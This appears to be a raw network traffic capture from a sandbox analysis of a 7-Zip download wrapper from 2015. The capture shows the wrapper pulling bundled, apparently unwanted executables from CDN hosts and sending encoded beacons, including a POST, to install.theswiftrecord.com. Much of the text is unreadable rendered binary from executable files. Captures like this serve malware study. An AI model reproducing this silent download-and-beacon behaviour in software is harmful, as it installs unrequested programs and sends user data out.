.............p...............................text....X.......Z........
.......... ..`.rdata.......p.......^..............@[email protected].......
.....p..............@....ndata.......p...........................rsrc.
...............t..............@..@....................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u...Pr@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Hp@[email protected]
....E..9}[email protected].}[email protected]..
[email protected]@.W...E..E.h [email protected]...\r@._^3.
[.....L$...nD...Si.. ..VW.T.....tO.q.3.;5.nD.sB..i.. ...D.......t.G...
..t...O..t .....u...3....3...F.. ..;5.nD.r._^[...U..QQ.U.SV..i.. .

<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Type: application/octet-stream

Content-Length: 1110476

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=261632-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:23:55 GMT

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Range: bytes 261632-523263/523264

Content-Length: 261632

Connection: keep-alive
..$P../9.,.....d.z$...TK......?RU..kD.M..n.r..Ol;[...`..{......_.=....
5..Nc..r...te..C..jI..^.....k...'OM[3.rW.!).7...t...l......`7....=WK{.
<Q....#.r. Juq..z..5....FD..:..)H...'.j...R..B...y.e...{H.:.k&...l.
V.p4....</{[email protected].@.....>B..y....7....Q...=..(...
.......G..... ....o'...J.E%.K.;......d.....S..w.vJ......:..(^...G....Z
.Y3{s...S..me..L...n...()..=.Y. .0.B.....EA#O.Q...O..%..;0c....?.f.>
;.Ry...h.p...<..k..x.'...[9......b...9.q-FA...4.]...SFo..=....S...z
..C/..].b.l..:..2...7_L...b...O....E.7P.tk.57.p.uL.M....q]..aF.i...f.2
.z....c.w#.."d2...*>..z...r......s..<..0...F..b.I.mjD.;.V.v....R
.....@.]c....R..U.df.....|....).>......Q....*....;C_.l.....a...i..G
t..g.n../.Q.. 8w....b.a...N}z.-.S-3.Z..u....9*..`.8.1.!2./........o2..
......j.eK..:...^...a......I...~o.i.........r...hi.*m...._......e.Y.aY
F.3c.7....;.p.*g.|O/Z.......b.........I...t..5..".np......?...U.......
.bX`9.....F..^...~.p5.g..?..j...F);Q..A..S..Dt.........agR.B..l......5
.K...T.....q..1.........r....&....KV.{..)j...p.3.N.~.f....i........e..
.C..|.a.WE....KD.,^.hH.].*....8..)..}]y...Z.F .r...{.?*..2..#.M.Q....8
#e..s1....t...&e*..#.d.1.u.....EY.....p.W~I... .#.C.#....m..0i.vV....~
...lq].>.[.!.....\....X.'.....l..1x...a.D....g..X..#......n...w..Y.
..Gya,..v0.nH%.................x..,.`|.X..3.zo..<!9-1....2.[..Q#..K
..iP..k.....}5..1X.p7m$...py........c.b..C...U0.............G....Z>
.......}.P|k4.].....A#....Z EC.~0.,.....09.j..2.K....g....7{.0..R....i
.`2...U..;z..w....R......w.....^...g.F}.$g.:..H..}.W."..0..N]~><<< skipped >>>

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 200072

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Age: 1032

Content-Range: bytes 0-200071/200072

X-Cache: Hit from cloudfront

Via: 1.1 59230305fa4e8eba32de075786d44476.cloudfront.net (CloudFront)

X-Amz-Cf-Id: j1DfTKmNWrDUYIFbLmsgxtNf9oZGMA3V998m5WYtwk77qi5uko4m5g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
...........................{........................................s.
[email protected]............................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 285558

Connection: keep-alive

Date: Sun, 19 Apr 2015 04:58:53 GMT

x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894

Cache-Control: max-age=3600

Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT

ETag: "518879abe3170dabd172dfffcd165598"

Accept-Ranges: bytes

Server: AmazonS3

Age: 2914

X-Cache: Hit from cloudfront

Via: 1.1 c1639d907cade557ebff29e5be78b0b6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: ENNRXUlj8xrPATzAKBQddXJUMHUeaMhzG5vkOcIejAliKxTHZ_9XlQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
....................................................................s.
......@...............................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
[email protected]..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..<<< skipped >>>

GET /install.ashx?e=PcwT4QFtuPBPNjxRBLtb49OayYtQxcN/HBKWDIV8zAnOo8fXRAOTcAWwrv9hreqncfgJCYrAwfjGDr5NwV0atdSSaUQFDqWEQXlxtBq2M/Wb87aptZLNDFA1P6i6ssaToXvV0ACP4NMVyaunraoeQQeRzm SyrO9uCFW/zxMyvvLaPsNuIhxx0qTRYdykYznQcOav1fvIInFToJxGXpok7Mp5a5JKLY8jARCJdOax3BQLHhZSKf6F1J4r6F5 wsCmsYBmEqYe81Sgdd2itB1rdCtLI2jnxFtO2YKgZHX2edYluIlhKckqejXQuHaKGTBrNY0MH32 Vpli0vhDt6hccxbZzrrWlFPRVquFz8IHIPiLuGcd2F1x25D993ilxFQ7nJDKdFRkjljTyNjjzEEmjpB9iJ5C2tEAebAnsXQ5mE= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: wt94bf4ec-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:16 GMT

Content-Type: application/octet-stream

Content-Length: 2432

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS
C.\.S...6....Cn.....~.....5. ..,....$1@.......,...~..]......~m...W0..(
O.G.....|[email protected]*......Q..~.G...V%j^u.1.A;.p.....a6...`.....
~.$........0...(....._.....c<"..D.......h..i<"..D...hnJ.....8/E.
.....9..A .......,.#.x/D..EN|V..8.....(..Y.....RO.....pu3@[S......{X.5
..#...t....... t.....4...S}~.....e.YH..,....4L.....2.....N...A........
..*......z ...e..F3.9.G....v$.t..Lr..?..Z.B[.|...FR#.S..rlD..i0u[.f.I.
.Fy.Y......5....x!..."..fA..#.n.....M3.._...).?.=.....M.i.`D.s....[.Rf
mT..F..u\[email protected].......,..r.c.........Bv...?..^.$.o...{[email protected].
....).Ex_(......|....v....g....)..(A..7p...1.. . ..{..K...e..q.".....x
.Sv...9..c.|.Kn...i...-..u...?'....c9..a........c.e...\.u....... .;...
...~V.;.......6.Ev.`M..x&.\'.p..>{...*r.R...[.Y.qu..K*..O .*.|.C<
;m....TP.U.h.`9X.1.u.;..8n..o$......3.{p.M..~P...v.n.l.7.J.._...?R....
...[.....-14s.....\......O.M.ydiB...J....hEq.iR.......*..|..(G...N....
..$Z...........~.......B.YZ....a.)v\k...[..l....f.z9.J5.$)f.k...f....j
9Ti.<.=..B........w....S.....t&G6..\rLU../.,..#...8.......1..n.*U.&
lt;p.........!.O.Rd..T.H]...,.O0v.............H...<............. C.
t^.c.i|....9.dD}..y.P7..z..O...........c....mh..z.=r4..i.C.....d.[....
<s0.....].9....xl..l.&J-.RL......\P..-yX....T. .5..5.....c....m6...
.<..Q.j.#.U0/.#...T..:[email protected]..%;.....V.<...._....-g....!.ea.5..
[email protected].].........{pjG,`].....Y.H.v..l.?......[.|...q...b.."
.WV..)G..5| ;...=.<..]/..!...e.(..F..U...j.............k....D....-.
.......?.......C......J.{z.F...ja.S..q......'.pZ.Z.......B...... .<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=643165-

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 643164

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Tue, 24 Mar 2015 11:07:13 GMT

Content-Range: bytes 643165-1286328/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 4270faf2ddda87dd57c4102c07d61fc7.cloudfront.net (CloudFront)

X-Amz-Cf-Id: QIf3o1Cwt5nSRcIv-hMmPK9YhvB9sUOVL0SRBKpPf9Up22iP38KjwA==
...E.oDW...*/[email protected].....;.ht..^......
@..........F._o.[.Ru.....mT.............d.u .K.6M.,....../.p./z.8A.;.2
-...p0W6^F.....V.oP...U...qV...y...W................Z...h..T...y.....M
..*M........?O$..}s.......r...7..D.uBDE#.nqJ....!,......".M..#... ..oR
ox.tY%....`...D6f.c...)s...JOF\....r..2......kF 7\...p/../q.H..1`.A..a
.N......K..0.j...n... ...R-..F.mB...jq.ED..J.S...........u.@.:5p>..
..}n^B..*'...x...B......&..K......q....U%[.=H../.IR..y...<.=.......
.J.=Y^....%.......*....H...'W..)Vy..q..o. -.k..*.l(...>.Lys.=..?#..
A...E....Ht....4.h/......i........^.q..LI..y.....X..f........Gpu.....p
.5(...5..W.*Z......M..)......?.....;N.>5u.bC..,..kDa...n....Cu.....
6......K...../......m...6...OgF. D....m.:...a}$..s.....K.H0(`..g.....y
.....R..>.u9...[\.>.h.........g....i_....;..U.#.$9....V.T.>.H
e..L.=...8......\.-y..2~..~.'c............xT....=E..e...b._...>.'.z
...&rs.}.....3?.....n.T....".fu...b.(..tI2Z.../.8s.c.6..........9.GH\.
.\C.P%_>..V.)....(..F..,.alW...,.`.S:.Is\._...>......L.yHr..Vx.?
...xb.yF..'...'6.h..g...y q.....~.j....76N..{...;C..i,..o\.../x.0.]..e
'.n.K.b.`....dHV....f....I....3..'..!]..0.CxJ...=...V..O./.9......V...
=.Q`.F..K....q.P{.....i..9.*.*."[email protected]=..A.D...c>.....)FD/R..:...'...
..x3..T.&........C%.(.......(...( .2..v....R.>...p..gP.4...|.U..o..
...[C.U2..*g...K....H[.]...N.....Yl..XVQ.~....y.....V...N...o......?~.
.$.e..}........2.N[|..../.o...}....H^.....D.q..B#..~....[w~.}F*.f....$
..,..2.....=.s.bs :<..<=...W..#.Z.6...q..g)....'R..'.....A..<<< skipped >>>

GET /3428_3b67a5ef5d450c1556c543c6323981d9/1.pak HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko

Host: dlrkbt247pbk6.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 2211109

Connection: keep-alive

Date: Wed, 22 Apr 2015 07:40:59 GMT

Last-Modified: Wed, 22 Apr 2015 07:33:11 GMT

ETag: "61cf96fa63ecfeab4dde839fa5b39a3a"

Accept-Ranges: bytes

Server: AmazonS3

Age: 2550

X-Cache: Hit from cloudfront

Via: 1.1 38133ea2296a83bfacba51a6f2abd5a6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Qg4nEDDeenvbl0Y5u0ezReoO8GrFlJ868xqDh0KjiLGjXnjr7lCKeg==
...... . .......!.............474.json....;.....;n]..|W......1m...M...
...q..9Q....{..Lx...<....\3.{......j.."d.;..K..|...'.r.}.|.G......%
.........I...5.N.....'..W.....t..7a|j]e.uz6......W.H..r.p...........sl
...vY.x..M...K....}.1/..~...m....hf..S.v..S.....&.3.K.y..............~
..;..-h)....G.N.h.F......N^q8.-.{.n....m.|..?%k5...U........}."?..w#&l
t;...Yu...|{O.[....X=...{......2..}.oz../_..|..i..0{.z.m......qM...s..
4_:.~zZ.,.......V.._..T..V../....?.4.....3.d....w.f....d.....'C..Q.-..
[.....G....E.........-.i.....O..2.E<Ss.G.&.3..[F..c.<.`K...PK...
........F..3.e....K......uninstallDlg2.xml.\m.....^.......z.f.N...mo..
As..$([email protected].../...w(Q.d.k9.6^T..."....gH....o..1.'"...,gh[...G.-gV&
...X(..E8....'.Z.........E.....(........q"sQ.@}=..Fd..X.8.!...Y.......
...|.o..1..Y......%; t..hfI...Q.c.....S..8B.~.x..S%....p.G......u..m.R
~%..E........{.gp..9..?.'..k.\..I...]........K..B.$...q...5^.]..1...O.
.....s...-.b..L..M.s......Z.^qy.....ul.!7....N..2....!;.)..'K...t..4..
5.O...q.........u...9...:iG4.P....Ek.....(..D.C......ng..{.oP.....{...
.t..nd8.`. .c.x..!.;.$7........ve.........p4.s.P....C..l=7e.7.......\0
"t=,"..(`[email protected]*.6E%#....)..~N..6........1T.(......3.0...f
.......7..xb...v.&..C..q.`)n..e.Y.L1....j.'"$.q.=~..D.4...5Rq.....B.&l
t;(...m.Z....z>"...7 .fp..J.&..>*....e.mOl.)#.g@.*....?.?.=..8..
f.....B..Q.G.4.......!.!...`.2.V.....%....hQ.-.Q..^{[email protected]......
......\..:..Kv.s....../OW.`N6(..&.....(5."....m..C....c.C..?{C^......p
bT..*-...j..F...R.......U..'o.OJUu.]^4..^........x~ I..0[nV....PA.<<< skipped >>>

GET /18865.ashx?e=CMT2M57d1xmfZNC1TqAoBHsn3FpN4laB1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6Zamn/tEKIOyBXf1ws7XaD2yIg0p1vUMLr4E8SFHLIEPsGJTlYCQaOf7GuVxeoIbRG3Yz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:36 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:36 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......

GET /16945.ashx?e=2fVCHF6kf8i8qFEAMB5m TAsk6sTGOh67OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDfIXaX4UOzVQy4btG OZIk/mETyJyixTFVdn5IXPnT9 7PiCC4paVhd0qyZh7o5utwAZbgHkoXRfcbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:15 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:15 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /mg?alpha=ZgUTWCotPlB8EV1JPHIlZ0FAVSpmQxEpIxhoERg+YiJSSCpHew4qRWFDEix7PhULDlNkAntaHnwAQw1IdQ0pVVgeUg8XITZ3QzZrVi9y HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 22 Apr 2015 08:23:16 GMT

Content-Length: 2004

GmiMA0xFVPlRBi0TsX8TDTDIC0NPf9MUB35f2lNaFDHMBw0GVNlnKApS63lgVGKbFmFeRv
ALHGUHvjsvYlGccH82KJtBDjhrxEJbOTSZOAo0GMkHUko0iioPAGr6FAVcT5JfW1MGyiR 
XX/uVEATbIMIdUZC/hNbTi6IDB5KaZZSZjE/3BUUDmjGGgswN7g GyYlzgtWWR6BKh83FI
QXAUB6hQlbFlfYMn1afoIPSxciygMsCEuqUF1CfNcbGFpovR9xZjOaDUBCNIYUXS8or39E
SgzxMXceccs/HShenEtCf3CTTBcLQc4rc0Rp/Gl9BCHaA3NZDp9eUF8qgh1IAy 2UmYxP7
BOFx4mkFhcOjTmfxsQNN8BVFk5vy4QKVOcSw5ZZYwJWxlLziZ3ZnvUXFsTDdEDY0EM6Fdf
Wi2IQ0hGfqREZTY 3BUcGmjZUwV0PbI8HRxmgBZSSTiUYwd X9pTWhU4zAcNBlTZZygKUu
tmelRimxZhXkbwCxxlJ54GBFtosl1rKCmicykPdsNYTiV65n8ICSjPB25dMIxtRjJD0h1M
DmyYVRwcUNkhREl21VAPTCDMCmwGDLReTFU7ow4eRnulcGIhOZUNQB1lxkVMenqjLhofK8
gGAgY7iCMPORqcFBhNapQHQwtWySBvBGGCXElUdIBULAhaq0FbFGTPJyF8WuIfKDQ7ikdY
QSb5T1o/Nr44DAYl1hF8YBycOxMOQ9ACQgArlkQVCkHyJH9NOJpbWBoilURlUl63UkpTOr
sOBlpo4glkMTaSA1gda9hVTBg5vjQIDQfSB0NXf9MpHTBF211CRXqEUhYNQJ5/dEl201AB
VCvBB2NeDOhFTEM7kEMRDWSkETB9adINDgJ0zxQTdBCBDilKaJgSQUg1y3VeD0/NGA5YbJ
JLGBNX4BlCWnXDcVgbPptKIlxPvkRbeD ACkgVY7VfZmh4m1cKHmfeU00AOaYoG0p 1BdM
UHHLKRMuVds/AVhglkA6F0HfLjASfMFZXhNimw9zTlm9Q1oUZIsOBlxo7BFvPDudW1hBcN
hDTCt0sX8XDGaAWxQQf502DDkUhFMoZ1q3B1VdVN0xegoggnhEFTzWFW9MWo5taV8wiQAd
XFGccH82KJtBDi1h2EVAOTaWASsGLdQRVF0xhRMgHVjKGCxDbodAC10InjNzRG/Fe0wbK5
tcbl9Cvh0cUyadCglbaKRlaygvmw1AFXHGWgV0PqUvHQ0K2xZJSjiqJxk/XZxLBk1lk0BV
XU3PIWVHaMQXFxAv1RVlBgy3SV9VKs9VHl14pU4mP3iXS1hBNZoEBXQssy0bSn6YKmtvCs
tjXixXyhlCFiutTBoNS88qdFxG/GJEGCrWEXN2cpFETEQ7gxs8Sn zWmUqBqJ6FBJq2UJI
OjSWASkBNt8RSF0vgm1QfkDfHRVJR4FIHF0e0jB RDaCUFUGK9oSZU54s11LU3zXAR9DYe
wRbCsonUo0GnDDQEwVMK8 FUp 3ANMTzjFbRUvUskeEkgr2kMYE1fZaTBNYsFWWVR0

<<< skipped >>>

GET /fp?alpha=dnN8VB5efBMXACILU34RdzcvWR52L2olX1FyPUtCcWdxVFh0AnUqc3QzaFA5N2N8dWBrARNTWHcHLQwObiUFVhkecUhOGyYmHkcIUycHWQE1cn8YQGFrKyAbCB18FgtzJz1AGiYJdStycTRgT0wsYHEAYXcNElJBa3UtCh4hZV5ZDmU2bwpNOipsQU9eYwxrDGZoagwQcH4gOB4IDXoTH3IrMEUcMwgpMnR2IWdbXytmaVczZlFGQA43eE1QVyZ4WRx4fCRtEEZ4czUGEl8wGkZ4QHkoRxZtdCkpHwAbfhQUIWF8T3x6USh9NzchFAcZfzstVCAYSRFfX25yLzIeNmNZAGVqdjg5HFMqbExDA3p4Jxgxb3IYQGlxLjUZdRl8EQtxIVYzb1dQFk49WSRW HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 22 Apr 2015 08:23:21 GMT

Content-Length: 0

....

GET /ii?alpha=dnN8VB5aWW9/cWRwU34RdzcvWR52L3B8E0NAaEVbJC82E1tjAh9lKSJ1cDAaeTo7VXQvQ0cUJT54LwgJdjgAUHYacyBIGCIvalRdUzAHe01bLCdFQyUnP2tJDRR2FQJyKiI0BiUKCCBtcDBlVlJYZX0Hf3UAECdaagMrCwl6UhYJLhV1KA4VJS9rVFUKdxQ4HipvegBCYHM/fEtWbzxJDyl3aAJHfE0pNCQhZxIQEExoeAF8dhsbVFxqaywODXEnFgM9Rw1hGxVCTHwOCE46Sm8RUzYkUR0nNTU4GAQALE9GZn1jBE5hAgF7IzZuIw0ZbnUeWDwiWlUVTG1lTUpXJXNDFzFHL28UCFk/ehceSDBTZUIkZWoDXGFoLi4eAQ09Q0A2e3MXC2NeL3lgfiFhTE88OjpdMyhSHyMCPSl0S1BjPmUKMVwkalh7Y34uBAgTZVR8ETB5JAcCbT8/eVgNFH4KA3AgNh9KLg98KHV0O2VURSgXcwNifAEXQBw1ISB+WS9lVUI8RyxgRWxZQBQgXV4sV2kRQBwVezN2Im0leH1aL1RXbDJGP1xyTSkyFi1zJBcednUaEQEFZmtGKDM2dhh8JmBZBz0OMWVFDnJxOVxKHDkHO3pEUTgLe0M= HTTP/1.1

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 22 Apr 2015 08:23:22 GMT

Content-Length: 84

AqTI5IcI/org8h3H9ZjGBOmK8JgGq4/p9QuorrSHFrDWrpBdho3OtRz0ibeVHeOa5OkIjO
O6mVM2K Jc2yZH....

POST /if?alpha=dnN8VB4SMQteOz9/U34RdzcvWR52L3B8E0NAaEVbJC82E1tjAh9lKSJ1cDAaeTo7VXQvQ0cUJT54LwgJdjgAUHYacyBIGCIvalRdUzAHe01bLCdFQyUnP2tJDRR2FQJyKiI0BiUKCCBtcDBlVlJYZX0Hf3UAECdaagMrCwl6UhYBOxUSZh1Ee1Y0CA9xKlZmf3M2PlYaditvJRoWW3MUAnEnPkIfPQ1+PHB0NGBSSjwxLFcQNFofDwkiNXFXSiYwVAE+ajNhLhUmL3RRVQNxCjoCNWl/B0N2IXx3Yl9Oc3NhZn1jBlJjWnFFKSplPxUMNnV/BX8kXFZAAykzeEoFDn9TFjdbLmgMCEB2NAUUTTAaPQxULSVTFyM1cHdAUUFuaBJgZHUAWHpQIjJ6ZDd+U1EtY3kAcjVQUBAFOSA9SFkgfRBeeBlvPl5HZHM7DxwHBlRtQG0sIhVaBShwbEtUDR1SUzR3Y1sNfUlxJmYqMyBfBjw0PwxrdhkTVl58KHwFCHMsBVRiHXc0SmotLWpbTw9lSmVIORkrWQE1YH13Q14QCmhtDlM2FkR+XHFWAxtPEUQbbmgffCUnR0dKTAwIallKJjZmDSpcNG8UCEQ/CSIoc2N+Y19vfw5QBDklfBBZDnI+CRM= HTTP/1.1

Content-Type: application/x-www-form-urlencoded

User-Agent: NSIS_Inetc (Mozilla)

Host: install.theswiftrecord.com

Content-Length: 78

Connection: Keep-Alive

Cache-Control: no-cache

alpha=dnN8VB4EcUp2bihleTBwUSwvRwEMJ311cnFdPmJTNHNMPkRwXiBOFCFsID4WdjIDQBMwfWQB
HTTP/1.1 200 OK

Cache-Control: no-cache, no-store

Pragma: no-cache

Content-Type: text/plain; charset=utf-8

Expires: -1

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

SVR: SP002C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Date: Wed, 22 Apr 2015 08:23:22 GMT

Content-Length: 41

{"status":"OK","url":null,"message":null}HTTP/1.1 200 OK..Cache-Contro
l: no-cache, no-store..Pragma: no-cache..Content-Type: text/plain; cha
rset=utf-8..Expires: -1..Server: Microsoft-IIS/7.5..X-AspNet-Version: 
4.0.30319..SVR: SP002C2..X-Powered-By: ASP.NET..p3p: CP="CAO PSA OUR".
.Date: Wed, 22 Apr 2015 08:23:22 GMT..Content-Length: 41..{"status":"O
K","url":null,"message":null}..

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

Range: bytes=0-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 586214

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-586213/586214

X-Cache: Hit from cloudfront

Via: 1.1 d49ed3edd173b406741cc9c27a726287.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Azm_FFXPkcdXE3fJmWvh94ljPiRxVcGtMpOELNo46ftUoqiDpg4VOw==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
